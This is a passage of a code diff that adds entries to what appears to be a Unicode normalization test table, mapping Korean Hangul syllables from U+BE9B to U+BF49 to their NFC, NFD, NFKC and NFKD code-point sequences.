+{ source: [0xBE9B], NFC: [0xBE9B], NFD: [0x1108, 0x1163, 0x11AA], NFKC: [0xBE9B], NFKD: [0x1108, 0x1163, 0x11AA] },
+{ source: [0xBE9C], NFC: [0xBE9C], NFD: [0x1108, 0x1163, 0x11AB], NFKC: [0xBE9C], NFKD: [0x1108, 0x1163, 0x11AB] },
+{ source: [0xBE9D], NFC: [0xBE9D], NFD: [0x1108, 0x1163, 0x11AC], NFKC: [0xBE9D], NFKD: [0x1108, 0x1163, 0x11AC] },
+{ source: [0xBE9E], NFC: [0xBE9E], NFD: [0x1108, 0x1163, 0x11AD], NFKC: [0xBE9E], NFKD: [0x1108, 0x1163, 0x11AD] },
+{ source: [0xBE9F], NFC: [0xBE9F], NFD: [0x1108, 0x1163, 0x11AE], NFKC: [0xBE9F], NFKD: [0x1108, 0x1163, 0x11AE] },
+{ source: [0xBEA0], NFC: [0xBEA0], NFD: [0x1108, 0x1163, 0x11AF], NFKC: [0xBEA0], NFKD: [0x1108, 0x1163, 0x11AF] },
+{ source: [0xBEA1], NFC: [0xBEA1], NFD: [0x1108, 0x1163, 0x11B0], NFKC: [0xBEA1], NFKD: [0x1108, 0x1163, 0x11B0] },
+{ source: [0xBEA2], NFC: [0xBEA2], NFD: [0x1108, 0x1163, 0x11B1], NFKC: [0xBEA2], NFKD: [0x1108, 0x1163, 0x11B1] },
+{ source: [0xBEA3], NFC: [0xBEA3], NFD: [0x1108, 0x1163, 0x11B2], NFKC: [0xBEA3], NFKD: [0x1108, 0x1163, 0x11B2] },
+{ source: [0xBEA4], NFC: [0xBEA4], NFD: [0x1108, 0x1163, 0x11B3], NFKC: [0xBEA4], NFKD: [0x1108, 0x1163, 0x11B3] },
+{ source: [0xBEA5], NFC: [0xBEA5], NFD: [0x1108, 0x1163, 0x11B4], NFKC: [0xBEA5], NFKD: [0x1108, 0x1163, 0x11B4] },
+{ source: [0xBEA6], NFC: [0xBEA6], NFD: [0x1108, 0x1163, 0x11B5], NFKC: [0xBEA6], NFKD: [0x1108, 0x1163, 0x11B5] },
+{ source: [0xBEA7], NFC: [0xBEA7], NFD: [0x1108, 0x1163, 0x11B6], NFKC: [0xBEA7], NFKD: [0x1108, 0x1163, 0x11B6] },
+{ source: [0xBEA8], NFC: [0xBEA8], NFD: [0x1108, 0x1163, 0x11B7], NFKC: [0xBEA8], NFKD: [0x1108, 0x1163, 0x11B7] },
+{ source: [0xBEA9], NFC: [0xBEA9], NFD: [0x1108, 0x1163, 0x11B8], NFKC: [0xBEA9], NFKD: [0x1108, 0x1163, 0x11B8] },
+{ source: [0xBEAA], NFC: [0xBEAA], NFD: [0x1108, 0x1163, 0x11B9], NFKC: [0xBEAA], NFKD: [0x1108, 0x1163, 0x11B9] },
+{ source: [0xBEAB], NFC: [0xBEAB], NFD: [0x1108, 0x1163, 0x11BA], NFKC: [0xBEAB], NFKD: [0x1108, 0x1163, 0x11BA] },
+{ source: [0xBEAC], NFC: [0xBEAC], NFD: [0x1108, 0x1163, 0x11BB], NFKC: [0xBEAC], NFKD: [0x1108, 0x1163, 0x11BB] },
+{ source: [0xBEAD], NFC: [0xBEAD], NFD: [0x1108, 0x1163, 0x11BC], NFKC: [0xBEAD], NFKD: [0x1108, 0x1163, 0x11BC] },
+{ source: [0xBEAE], NFC: [0xBEAE], NFD: [0x1108, 0x1163, 0x11BD], NFKC: [0xBEAE], NFKD: [0x1108, 0x1163, 0x11BD] },
+{ source: [0xBEAF], NFC: [0xBEAF], NFD: [0x1108, 0x1163, 0x11BE], NFKC: [0xBEAF], NFKD: [0x1108, 0x1163, 0x11BE] },
+{ source: [0xBEB0], NFC: [0xBEB0], NFD: [0x1108, 0x1163, 0x11BF], NFKC: [0xBEB0], NFKD: [0x1108, 0x1163, 0x11BF] },
+{ source: [0xBEB1], NFC: [0xBEB1], NFD: [0x1108, 0x1163, 0x11C0], NFKC: [0xBEB1], NFKD: [0x1108, 0x1163, 0x11C0] },
+{ source: [0xBEB2], NFC: [0xBEB2], NFD: [0x1108, 0x1163, 0x11C1], NFKC: [0xBEB2], NFKD: [0x1108, 0x1163, 0x11C1] },
+{ source: [0xBEB3], NFC: [0xBEB3], NFD: [0x1108, 0x1163, 0x11C2], NFKC: [0xBEB3], NFKD: [0x1108, 0x1163, 0x11C2] },
+{ source: [0xBEB4], NFC: [0xBEB4], NFD: [0x1108, 0x1164], NFKC: [0xBEB4], NFKD: [0x1108, 0x1164] },
+{ source: [0xBEB5], NFC: [0xBEB5], NFD: [0x1108, 0x1164, 0x11A8], NFKC: [0xBEB5], NFKD: [0x1108, 0x1164, 0x11A8] },
+{ source: [0xBEB6], NFC: [0xBEB6], NFD: [0x1108, 0x1164, 0x11A9], NFKC: [0xBEB6], NFKD: [0x1108, 0x1164, 0x11A9] },
+{ source: [0xBEB7], NFC: [0xBEB7], NFD: [0x1108, 0x1164, 0x11AA], NFKC: [0xBEB7], NFKD: [0x1108, 0x1164, 0x11AA] },
+{ source: [0xBEB8], NFC: [0xBEB8], NFD: [0x1108, 0x1164, 0x11AB], NFKC: [0xBEB8], NFKD: [0x1108, 0x1164, 0x11AB] },
+{ source: [0xBEB9], NFC: [0xBEB9], NFD: [0x1108, 0x1164, 0x11AC], NFKC: [0xBEB9], NFKD: [0x1108, 0x1164, 0x11AC] },
+{ source: [0xBEBA], NFC: [0xBEBA], NFD: [0x1108, 0x1164, 0x11AD], NFKC: [0xBEBA], NFKD: [0x1108, 0x1164, 0x11AD] },
+{ source: [0xBEBB], NFC: [0xBEBB], NFD: [0x1108, 0x1164, 0x11AE], NFKC: [0xBEBB], NFKD: [0x1108, 0x1164, 0x11AE] },
+{ source: [0xBEBC], NFC: [0xBEBC], NFD: [0x1108, 0x1164, 0x11AF], NFKC: [0xBEBC], NFKD: [0x1108, 0x1164, 0x11AF] },
+{ source: [0xBEBD], NFC: [0xBEBD], NFD: [0x1108, 0x1164, 0x11B0], NFKC: [0xBEBD], NFKD: [0x1108, 0x1164, 0x11B0] },
+{ source: [0xBEBE], NFC: [0xBEBE], NFD: [0x1108, 0x1164, 0x11B1], NFKC: [0xBEBE], NFKD: [0x1108, 0x1164, 0x11B1] },
+{ source: [0xBEBF], NFC: [0xBEBF], NFD: [0x1108, 0x1164, 0x11B2], NFKC: [0xBEBF], NFKD: [0x1108, 0x1164, 0x11B2] },
+{ source: [0xBEC0], NFC: [0xBEC0], NFD: [0x1108, 0x1164, 0x11B3], NFKC: [0xBEC0], NFKD: [0x1108, 0x1164, 0x11B3] },
+{ source: [0xBEC1], NFC: [0xBEC1], NFD: [0x1108, 0x1164, 0x11B4], NFKC: [0xBEC1], NFKD: [0x1108, 0x1164, 0x11B4] },
+{ source: [0xBEC2], NFC: [0xBEC2], NFD: [0x1108, 0x1164, 0x11B5], NFKC: [0xBEC2], NFKD: [0x1108, 0x1164, 0x11B5] },
+{ source: [0xBEC3], NFC: [0xBEC3], NFD: [0x1108, 0x1164, 0x11B6], NFKC: [0xBEC3], NFKD: [0x1108, 0x1164, 0x11B6] },
+{ source: [0xBEC4], NFC: [0xBEC4], NFD: [0x1108, 0x1164, 0x11B7], NFKC: [0xBEC4], NFKD: [0x1108, 0x1164, 0x11B7] },
+{ source: [0xBEC5], NFC: [0xBEC5], NFD: [0x1108, 0x1164, 0x11B8], NFKC: [0xBEC5], NFKD: [0x1108, 0x1164, 0x11B8] },
+{ source: [0xBEC6], NFC: [0xBEC6], NFD: [0x1108, 0x1164, 0x11B9], NFKC: [0xBEC6], NFKD: [0x1108, 0x1164, 0x11B9] },
+{ source: [0xBEC7], NFC: [0xBEC7], NFD: [0x1108, 0x1164, 0x11BA], NFKC: [0xBEC7], NFKD: [0x1108, 0x1164, 0x11BA] },
+{ source: [0xBEC8], NFC: [0xBEC8], NFD: [0x1108, 0x1164, 0x11BB], NFKC: [0xBEC8], NFKD: [0x1108, 0x1164, 0x11BB] },
+{ source: [0xBEC9], NFC: [0xBEC9], NFD: [0x1108, 0x1164, 0x11BC], NFKC: [0xBEC9], NFKD: [0x1108, 0x1164, 0x11BC] },
+{ source: [0xBECA], NFC: [0xBECA], NFD: [0x1108, 0x1164, 0x11BD], NFKC: [0xBECA], NFKD: [0x1108, 0x1164, 0x11BD] },
+{ source: [0xBECB], NFC: [0xBECB], NFD: [0x1108, 0x1164, 0x11BE], NFKC: [0xBECB], NFKD: [0x1108, 0x1164, 0x11BE] },
+{ source: [0xBECC], NFC: [0xBECC], NFD: [0x1108, 0x1164, 0x11BF], NFKC: [0xBECC], NFKD: [0x1108, 0x1164, 0x11BF] },
+{ source: [0xBECD], NFC: [0xBECD], NFD: [0x1108, 0x1164, 0x11C0], NFKC: [0xBECD], NFKD: [0x1108, 0x1164, 0x11C0] },
+{ source: [0xBECE], NFC: [0xBECE], NFD: [0x1108, 0x1164, 0x11C1], NFKC: [0xBECE], NFKD: [0x1108, 0x1164, 0x11C1] },
+{ source: [0xBECF], NFC: [0xBECF], NFD: [0x1108, 0x1164, 0x11C2], NFKC: [0xBECF], NFKD: [0x1108, 0x1164, 0x11C2] },
+{ source: [0xBED0], NFC: [0xBED0], NFD: [0x1108, 0x1165], NFKC: [0xBED0], NFKD: [0x1108, 0x1165] },
+{ source: [0xBED1], NFC: [0xBED1], NFD: [0x1108, 0x1165, 0x11A8], NFKC: [0xBED1], NFKD: [0x1108, 0x1165, 0x11A8] },
+{ source: [0xBED2], NFC: [0xBED2], NFD: [0x1108, 0x1165, 0x11A9], NFKC: [0xBED2], NFKD: [0x1108, 0x1165, 0x11A9] },
+{ source: [0xBED3], NFC: [0xBED3], NFD: [0x1108, 0x1165, 0x11AA], NFKC: [0xBED3], NFKD: [0x1108, 0x1165, 0x11AA] },
+{ source: [0xBED4], NFC: [0xBED4], NFD: [0x1108, 0x1165, 0x11AB], NFKC: [0xBED4], NFKD: [0x1108, 0x1165, 0x11AB] },
+{ source: [0xBED5], NFC: [0xBED5], NFD: [0x1108, 0x1165, 0x11AC], NFKC: [0xBED5], NFKD: [0x1108, 0x1165, 0x11AC] },
+{ source: [0xBED6], NFC: [0xBED6], NFD: [0x1108, 0x1165, 0x11AD], NFKC: [0xBED6], NFKD: [0x1108, 0x1165, 0x11AD] },
+{ source: [0xBED7], NFC: [0xBED7], NFD: [0x1108, 0x1165, 0x11AE], NFKC: [0xBED7], NFKD: [0x1108, 0x1165, 0x11AE] },
+{ source: [0xBED8], NFC: [0xBED8], NFD: [0x1108, 0x1165, 0x11AF], NFKC: [0xBED8], NFKD: [0x1108, 0x1165, 0x11AF] },
+{ source: [0xBED9], NFC: [0xBED9], NFD: [0x1108, 0x1165, 0x11B0], NFKC: [0xBED9], NFKD: [0x1108, 0x1165, 0x11B0] },
+{ source: [0xBEDA], NFC: [0xBEDA], NFD: [0x1108, 0x1165, 0x11B1], NFKC: [0xBEDA], NFKD: [0x1108, 0x1165, 0x11B1] },
+{ source: [0xBEDB], NFC: [0xBEDB], NFD: [0x1108, 0x1165, 0x11B2], NFKC: [0xBEDB], NFKD: [0x1108, 0x1165, 0x11B2] },
+{ source: [0xBEDC], NFC: [0xBEDC], NFD: [0x1108, 0x1165, 0x11B3], NFKC: [0xBEDC], NFKD: [0x1108, 0x1165, 0x11B3] },
+{ source: [0xBEDD], NFC: [0xBEDD], NFD: [0x1108, 0x1165, 0x11B4], NFKC: [0xBEDD], NFKD: [0x1108, 0x1165, 0x11B4] },
+{ source: [0xBEDE], NFC: [0xBEDE], NFD: [0x1108, 0x1165, 0x11B5], NFKC: [0xBEDE], NFKD: [0x1108, 0x1165, 0x11B5] },
+{ source: [0xBEDF], NFC: [0xBEDF], NFD: [0x1108, 0x1165, 0x11B6], NFKC: [0xBEDF], NFKD: [0x1108, 0x1165, 0x11B6] },
+{ source: [0xBEE0], NFC: [0xBEE0], NFD: [0x1108, 0x1165, 0x11B7], NFKC: [0xBEE0], NFKD: [0x1108, 0x1165, 0x11B7] },
+{ source: [0xBEE1], NFC: [0xBEE1], NFD: [0x1108, 0x1165, 0x11B8], NFKC: [0xBEE1], NFKD: [0x1108, 0x1165, 0x11B8] },
+{ source: [0xBEE2], NFC: [0xBEE2], NFD: [0x1108, 0x1165, 0x11B9], NFKC: [0xBEE2], NFKD: [0x1108, 0x1165, 0x11B9] },
+{ source: [0xBEE3], NFC: [0xBEE3], NFD: [0x1108, 0x1165, 0x11BA], NFKC: [0xBEE3], NFKD: [0x1108, 0x1165, 0x11BA] },
+{ source: [0xBEE4], NFC: [0xBEE4], NFD: [0x1108, 0x1165, 0x11BB], NFKC: [0xBEE4], NFKD: [0x1108, 0x1165, 0x11BB] },
+{ source: [0xBEE5], NFC: [0xBEE5], NFD: [0x1108, 0x1165, 0x11BC], NFKC: [0xBEE5], NFKD: [0x1108, 0x1165, 0x11BC] },
+{ source: [0xBEE6], NFC: [0xBEE6], NFD: [0x1108, 0x1165, 0x11BD], NFKC: [0xBEE6], NFKD: [0x1108, 0x1165, 0x11BD] },
+{ source: [0xBEE7], NFC: [0xBEE7], NFD: [0x1108, 0x1165, 0x11BE], NFKC: [0xBEE7], NFKD: [0x1108, 0x1165, 0x11BE] },
+{ source: [0xBEE8], NFC: [0xBEE8], NFD: [0x1108, 0x1165, 0x11BF], NFKC: [0xBEE8], NFKD: [0x1108, 0x1165, 0x11BF] },
+{ source: [0xBEE9], NFC: [0xBEE9], NFD: [0x1108, 0x1165, 0x11C0], NFKC: [0xBEE9], NFKD: [0x1108, 0x1165, 0x11C0] },
+{ source: [0xBEEA], NFC: [0xBEEA], NFD: [0x1108, 0x1165, 0x11C1], NFKC: [0xBEEA], NFKD: [0x1108, 0x1165, 0x11C1] },
+{ source: [0xBEEB], NFC: [0xBEEB], NFD: [0x1108, 0x1165, 0x11C2], NFKC: [0xBEEB], NFKD: [0x1108, 0x1165, 0x11C2] },
+{ source: [0xBEEC], NFC: [0xBEEC], NFD: [0x1108, 0x1166], NFKC: [0xBEEC], NFKD: [0x1108, 0x1166] },
+{ source: [0xBEED], NFC: [0xBEED], NFD: [0x1108, 0x1166, 0x11A8], NFKC: [0xBEED], NFKD: [0x1108, 0x1166, 0x11A8] },
+{ source: [0xBEEE], NFC: [0xBEEE], NFD: [0x1108, 0x1166, 0x11A9], NFKC: [0xBEEE], NFKD: [0x1108, 0x1166, 0x11A9] },
+{ source: [0xBEEF], NFC: [0xBEEF], NFD: [0x1108, 0x1166, 0x11AA], NFKC: [0xBEEF], NFKD: [0x1108, 0x1166, 0x11AA] },
+{ source: [0xBEF0], NFC: [0xBEF0], NFD: [0x1108, 0x1166, 0x11AB], NFKC: [0xBEF0], NFKD: [0x1108, 0x1166, 0x11AB] },
+{ source: [0xBEF1], NFC: [0xBEF1], NFD: [0x1108, 0x1166, 0x11AC], NFKC: [0xBEF1], NFKD: [0x1108, 0x1166, 0x11AC] },
+{ source: [0xBEF2], NFC: [0xBEF2], NFD: [0x1108, 0x1166, 0x11AD], NFKC: [0xBEF2], NFKD: [0x1108, 0x1166, 0x11AD] },
+{ source: [0xBEF3], NFC: [0xBEF3], NFD: [0x1108, 0x1166, 0x11AE], NFKC: [0xBEF3], NFKD: [0x1108, 0x1166, 0x11AE] },
+{ source: [0xBEF4], NFC: [0xBEF4], NFD: [0x1108, 0x1166, 0x11AF], NFKC: [0xBEF4], NFKD: [0x1108, 0x1166, 0x11AF] },
+{ source: [0xBEF5], NFC: [0xBEF5], NFD: [0x1108, 0x1166, 0x11B0], NFKC: [0xBEF5], NFKD: [0x1108, 0x1166, 0x11B0] },
+{ source: [0xBEF6], NFC: [0xBEF6], NFD: [0x1108, 0x1166, 0x11B1], NFKC: [0xBEF6], NFKD: [0x1108, 0x1166, 0x11B1] },
+{ source: [0xBEF7], NFC: [0xBEF7], NFD: [0x1108, 0x1166, 0x11B2], NFKC: [0xBEF7], NFKD: [0x1108, 0x1166, 0x11B2] },
+{ source: [0xBEF8], NFC: [0xBEF8], NFD: [0x1108, 0x1166, 0x11B3], NFKC: [0xBEF8], NFKD: [0x1108, 0x1166, 0x11B3] },
+{ source: [0xBEF9], NFC: [0xBEF9], NFD: [0x1108, 0x1166, 0x11B4], NFKC: [0xBEF9], NFKD: [0x1108, 0x1166, 0x11B4] },
+{ source: [0xBEFA], NFC: [0xBEFA], NFD: [0x1108, 0x1166, 0x11B5], NFKC: [0xBEFA], NFKD: [0x1108, 0x1166, 0x11B5] },
+{ source: [0xBEFB], NFC: [0xBEFB], NFD: [0x1108, 0x1166, 0x11B6], NFKC: [0xBEFB], NFKD: [0x1108, 0x1166, 0x11B6] },
+{ source: [0xBEFC], NFC: [0xBEFC], NFD: [0x1108, 0x1166, 0x11B7], NFKC: [0xBEFC], NFKD: [0x1108, 0x1166, 0x11B7] },
+{ source: [0xBEFD], NFC: [0xBEFD], NFD: [0x1108, 0x1166, 0x11B8], NFKC: [0xBEFD], NFKD: [0x1108, 0x1166, 0x11B8] },
+{ source: [0xBEFE], NFC: [0xBEFE], NFD: [0x1108, 0x1166, 0x11B9], NFKC: [0xBEFE], NFKD: [0x1108, 0x1166, 0x11B9] },
+{ source: [0xBEFF], NFC: [0xBEFF], NFD: [0x1108, 0x1166, 0x11BA], NFKC: [0xBEFF], NFKD: [0x1108, 0x1166, 0x11BA] },
+{ source: [0xBF00], NFC: [0xBF00], NFD: [0x1108, 0x1166, 0x11BB], NFKC: [0xBF00], NFKD: [0x1108, 0x1166, 0x11BB] },
+{ source: [0xBF01], NFC: [0xBF01], NFD: [0x1108, 0x1166, 0x11BC], NFKC: [0xBF01], NFKD: [0x1108, 0x1166, 0x11BC] },
+{ source: [0xBF02], NFC: [0xBF02], NFD: [0x1108, 0x1166, 0x11BD], NFKC: [0xBF02], NFKD: [0x1108, 0x1166, 0x11BD] },
+{ source: [0xBF03], NFC: [0xBF03], NFD: [0x1108, 0x1166, 0x11BE], NFKC: [0xBF03], NFKD: [0x1108, 0x1166, 0x11BE] },
+{ source: [0xBF04], NFC: [0xBF04], NFD: [0x1108, 0x1166, 0x11BF], NFKC: [0xBF04], NFKD: [0x1108, 0x1166, 0x11BF] },
+{ source: [0xBF05], NFC: [0xBF05], NFD: [0x1108, 0x1166, 0x11C0], NFKC: [0xBF05], NFKD: [0x1108, 0x1166, 0x11C0] },
+{ source: [0xBF06], NFC: [0xBF06], NFD: [0x1108, 0x1166, 0x11C1], NFKC: [0xBF06], NFKD: [0x1108, 0x1166, 0x11C1] },
+{ source: [0xBF07], NFC: [0xBF07], NFD: [0x1108, 0x1166, 0x11C2], NFKC: [0xBF07], NFKD: [0x1108, 0x1166, 0x11C2] },
+{ source: [0xBF08], NFC: [0xBF08], NFD: [0x1108, 0x1167], NFKC: [0xBF08], NFKD: [0x1108, 0x1167] },
+{ source: [0xBF09], NFC: [0xBF09], NFD: [0x1108, 0x1167, 0x11A8], NFKC: [0xBF09], NFKD: [0x1108, 0x1167, 0x11A8] },
+{ source: [0xBF0A], NFC: [0xBF0A], NFD: [0x1108, 0x1167, 0x11A9], NFKC: [0xBF0A], NFKD: [0x1108, 0x1167, 0x11A9] },
+{ source: [0xBF0B], NFC: [0xBF0B], NFD: [0x1108, 0x1167, 0x11AA], NFKC: [0xBF0B], NFKD: [0x1108, 0x1167, 0x11AA] },
+{ source: [0xBF0C], NFC: [0xBF0C], NFD: [0x1108, 0x1167, 0x11AB], NFKC: [0xBF0C], NFKD: [0x1108, 0x1167, 0x11AB] },
+{ source: [0xBF0D], NFC: [0xBF0D], NFD: [0x1108, 0x1167, 0x11AC], NFKC: [0xBF0D], NFKD: [0x1108, 0x1167, 0x11AC] },
+{ source: [0xBF0E], NFC: [0xBF0E], NFD: [0x1108, 0x1167, 0x11AD], NFKC: [0xBF0E], NFKD: [0x1108, 0x1167, 0x11AD] },
+{ source: [0xBF0F], NFC: [0xBF0F], NFD: [0x1108, 0x1167, 0x11AE], NFKC: [0xBF0F], NFKD: [0x1108, 0x1167, 0x11AE] },
+{ source: [0xBF10], NFC: [0xBF10], NFD: [0x1108, 0x1167, 0x11AF], NFKC: [0xBF10], NFKD: [0x1108, 0x1167, 0x11AF] },
+{ source: [0xBF11], NFC: [0xBF11], NFD: [0x1108, 0x1167, 0x11B0], NFKC: [0xBF11], NFKD: [0x1108, 0x1167, 0x11B0] },
+{ source: [0xBF12], NFC: [0xBF12], NFD: [0x1108, 0x1167, 0x11B1], NFKC: [0xBF12], NFKD: [0x1108, 0x1167, 0x11B1] },
+{ source: [0xBF13], NFC: [0xBF13], NFD: [0x1108, 0x1167, 0x11B2], NFKC: [0xBF13], NFKD: [0x1108, 0x1167, 0x11B2] },
+{ source: [0xBF14], NFC: [0xBF14], NFD: [0x1108, 0x1167, 0x11B3], NFKC: [0xBF14], NFKD: [0x1108, 0x1167, 0x11B3] },
+{ source: [0xBF15], NFC: [0xBF15], NFD: [0x1108, 0x1167, 0x11B4], NFKC: [0xBF15], NFKD: [0x1108, 0x1167, 0x11B4] },
+{ source: [0xBF16], NFC: [0xBF16], NFD: [0x1108, 0x1167, 0x11B5], NFKC: [0xBF16], NFKD: [0x1108, 0x1167, 0x11B5] },
+{ source: [0xBF17], NFC: [0xBF17], NFD: [0x1108, 0x1167, 0x11B6], NFKC: [0xBF17], NFKD: [0x1108, 0x1167, 0x11B6] },
+{ source: [0xBF18], NFC: [0xBF18], NFD: [0x1108, 0x1167, 0x11B7], NFKC: [0xBF18], NFKD: [0x1108, 0x1167, 0x11B7] },
+{ source: [0xBF19], NFC: [0xBF19], NFD: [0x1108, 0x1167, 0x11B8], NFKC: [0xBF19], NFKD: [0x1108, 0x1167, 0x11B8] },
+{ source: [0xBF1A], NFC: [0xBF1A], NFD: [0x1108, 0x1167, 0x11B9], NFKC: [0xBF1A], NFKD: [0x1108, 0x1167, 0x11B9] },
+{ source: [0xBF1B], NFC: [0xBF1B], NFD: [0x1108, 0x1167, 0x11BA], NFKC: [0xBF1B], NFKD: [0x1108, 0x1167, 0x11BA] },
+{ source: [0xBF1C], NFC: [0xBF1C], NFD: [0x1108, 0x1167, 0x11BB], NFKC: [0xBF1C], NFKD: [0x1108, 0x1167, 0x11BB] },
+{ source: [0xBF1D], NFC: [0xBF1D], NFD: [0x1108, 0x1167, 0x11BC], NFKC: [0xBF1D], NFKD: [0x1108, 0x1167, 0x11BC] },
+{ source: [0xBF1E], NFC: [0xBF1E], NFD: [0x1108, 0x1167, 0x11BD], NFKC: [0xBF1E], NFKD: [0x1108, 0x1167, 0x11BD] },
+{ source: [0xBF1F], NFC: [0xBF1F], NFD: [0x1108, 0x1167, 0x11BE], NFKC: [0xBF1F], NFKD: [0x1108, 0x1167, 0x11BE] },
+{ source: [0xBF20], NFC: [0xBF20], NFD: [0x1108, 0x1167, 0x11BF], NFKC: [0xBF20], NFKD: [0x1108, 0x1167, 0x11BF] },
+{ source: [0xBF21], NFC: [0xBF21], NFD: [0x1108, 0x1167, 0x11C0], NFKC: [0xBF21], NFKD: [0x1108, 0x1167, 0x11C0] },
+{ source: [0xBF22], NFC: [0xBF22], NFD: [0x1108, 0x1167, 0x11C1], NFKC: [0xBF22], NFKD: [0x1108, 0x1167, 0x11C1] },
+{ source: [0xBF23], NFC: [0xBF23], NFD: [0x1108, 0x1167, 0x11C2], NFKC: [0xBF23], NFKD: [0x1108, 0x1167, 0x11C2] },
+{ source: [0xBF24], NFC: [0xBF24], NFD: [0x1108, 0x1168], NFKC: [0xBF24], NFKD: [0x1108, 0x1168] },
+{ source: [0xBF25], NFC: [0xBF25], NFD: [0x1108, 0x1168, 0x11A8], NFKC: [0xBF25], NFKD: [0x1108, 0x1168, 0x11A8] },
+{ source: [0xBF26], NFC: [0xBF26], NFD: [0x1108, 0x1168, 0x11A9], NFKC: [0xBF26], NFKD: [0x1108, 0x1168, 0x11A9] },
+{ source: [0xBF27], NFC: [0xBF27], NFD: [0x1108, 0x1168, 0x11AA], NFKC: [0xBF27], NFKD: [0x1108, 0x1168, 0x11AA] },
+{ source: [0xBF28], NFC: [0xBF28], NFD: [0x1108, 0x1168, 0x11AB], NFKC: [0xBF28], NFKD: [0x1108, 0x1168, 0x11AB] },
+{ source: [0xBF29], NFC: [0xBF29], NFD: [0x1108, 0x1168, 0x11AC], NFKC: [0xBF29], NFKD: [0x1108, 0x1168, 0x11AC] },
+{ source: [0xBF2A], NFC: [0xBF2A], NFD: [0x1108, 0x1168, 0x11AD], NFKC: [0xBF2A], NFKD: [0x1108, 0x1168, 0x11AD] },
+{ source: [0xBF2B], NFC: [0xBF2B], NFD: [0x1108, 0x1168, 0x11AE], NFKC: [0xBF2B], NFKD: [0x1108, 0x1168, 0x11AE] },
+{ source: [0xBF2C], NFC: [0xBF2C], NFD: [0x1108, 0x1168, 0x11AF], NFKC: [0xBF2C], NFKD: [0x1108, 0x1168, 0x11AF] },
+{ source: [0xBF2D], NFC: [0xBF2D], NFD: [0x1108, 0x1168, 0x11B0], NFKC: [0xBF2D], NFKD: [0x1108, 0x1168, 0x11B0] },
+{ source: [0xBF2E], NFC: [0xBF2E], NFD: [0x1108, 0x1168, 0x11B1], NFKC: [0xBF2E], NFKD: [0x1108, 0x1168, 0x11B1] },
+{ source: [0xBF2F], NFC: [0xBF2F], NFD: [0x1108, 0x1168, 0x11B2], NFKC: [0xBF2F], NFKD: [0x1108, 0x1168, 0x11B2] },
+{ source: [0xBF30], NFC: [0xBF30], NFD: [0x1108, 0x1168, 0x11B3], NFKC: [0xBF30], NFKD: [0x1108, 0x1168, 0x11B3] },
+{ source: [0xBF31], NFC: [0xBF31], NFD: [0x1108, 0x1168, 0x11B4], NFKC: [0xBF31], NFKD: [0x1108, 0x1168, 0x11B4] },
+{ source: [0xBF32], NFC: [0xBF32], NFD: [0x1108, 0x1168, 0x11B5], NFKC: [0xBF32], NFKD: [0x1108, 0x1168, 0x11B5] },
+{ source: [0xBF33], NFC: [0xBF33], NFD: [0x1108, 0x1168, 0x11B6], NFKC: [0xBF33], NFKD: [0x1108, 0x1168, 0x11B6] },
+{ source: [0xBF34], NFC: [0xBF34], NFD: [0x1108, 0x1168, 0x11B7], NFKC: [0xBF34], NFKD: [0x1108, 0x1168, 0x11B7] },
+{ source: [0xBF35], NFC: [0xBF35], NFD: [0x1108, 0x1168, 0x11B8], NFKC: [0xBF35], NFKD: [0x1108, 0x1168, 0x11B8] },
+{ source: [0xBF36], NFC: [0xBF36], NFD: [0x1108, 0x1168, 0x11B9], NFKC: [0xBF36], NFKD: [0x1108, 0x1168, 0x11B9] },
+{ source: [0xBF37], NFC: [0xBF37], NFD: [0x1108, 0x1168, 0x11BA], NFKC: [0xBF37], NFKD: [0x1108, 0x1168, 0x11BA] },
+{ source: [0xBF38], NFC: [0xBF38], NFD: [0x1108, 0x1168, 0x11BB], NFKC: [0xBF38], NFKD: [0x1108, 0x1168, 0x11BB] },
+{ source: [0xBF39], NFC: [0xBF39], NFD: [0x1108, 0x1168, 0x11BC], NFKC: [0xBF39], NFKD: [0x1108, 0x1168, 0x11BC] },
+{ source: [0xBF3A], NFC: [0xBF3A], NFD: [0x1108, 0x1168, 0x11BD], NFKC: [0xBF3A], NFKD: [0x1108, 0x1168, 0x11BD] },
+{ source: [0xBF3B], NFC: [0xBF3B], NFD: [0x1108, 0x1168, 0x11BE], NFKC: [0xBF3B], NFKD: [0x1108, 0x1168, 0x11BE] },
+{ source: [0xBF3C], NFC: [0xBF3C], NFD: [0x1108, 0x1168, 0x11BF], NFKC: [0xBF3C], NFKD: [0x1108, 0x1168, 0x11BF] },
+{ source: [0xBF3D], NFC: [0xBF3D], NFD: [0x1108, 0x1168, 0x11C0], NFKC: [0xBF3D], NFKD: [0x1108, 0x1168, 0x11C0] },
+{ source: [0xBF3E], NFC: [0xBF3E], NFD: [0x1108, 0x1168, 0x11C1], NFKC: [0xBF3E], NFKD: [0x1108, 0x1168, 0x11C1] },
+{ source: [0xBF3F], NFC: [0xBF3F], NFD: [0x1108, 0x1168, 0x11C2], NFKC: [0xBF3F], NFKD: [0x1108, 0x1168, 0x11C2] },
+{ source: [0xBF40], NFC: [0xBF40], NFD: [0x1108, 0x1169], NFKC: [0xBF40], NFKD: [0x1108, 0x1169] },
+{ source: [0xBF41], NFC: [0xBF41], NFD: [0x1108, 0x1169, 0x11A8], NFKC: [0xBF41], NFKD: [0x1108, 0x1169, 0x11A8] },
+{ source: [0xBF42], NFC: [0xBF42], NFD: [0x1108, 0x1169, 0x11A9], NFKC: [0xBF42], NFKD: [0x1108, 0x1169, 0x11A9] },
+{ source: [0xBF43], NFC: [0xBF43], NFD: [0x1108, 0x1169, 0x11AA], NFKC: [0xBF43], NFKD: [0x1108, 0x1169, 0x11AA] },
+{ source: [0xBF44], NFC: [0xBF44], NFD: [0x1108, 0x1169, 0x11AB], NFKC: [0xBF44], NFKD: [0x1108, 0x1169, 0x11AB] },
+{ source: [0xBF45], NFC: [0xBF45], NFD: [0x1108, 0x1169, 0x11AC], NFKC: [0xBF45], NFKD: [0x1108, 0x1169, 0x11AC] },
+{ source: [0xBF46], NFC: [0xBF46], NFD: [0x1108, 0x1169, 0x11AD], NFKC: [0xBF46], NFKD: [0x1108, 0x1169, 0x11AD] },
+{ source: [0xBF47], NFC: [0xBF47], NFD: [0x1108, 0x1169, 0x11AE], NFKC: [0xBF47], NFKD: [0x1108, 0x1169, 0x11AE] },
+{ source: [0xBF48], NFC: [0xBF48], NFD: [0x1108, 0x1169, 0x11AF], NFKC: [0xBF48], NFKD: [0x1108, 0x1169, 0x11AF] },
+{ source: [0xBF49], NFC: [0xBF49], NFD: [0x1108, 0x1169, 0x11B0], NFKC: [0xBF49], NFKD: [0x1108, 0x1169, 0x11B0] },
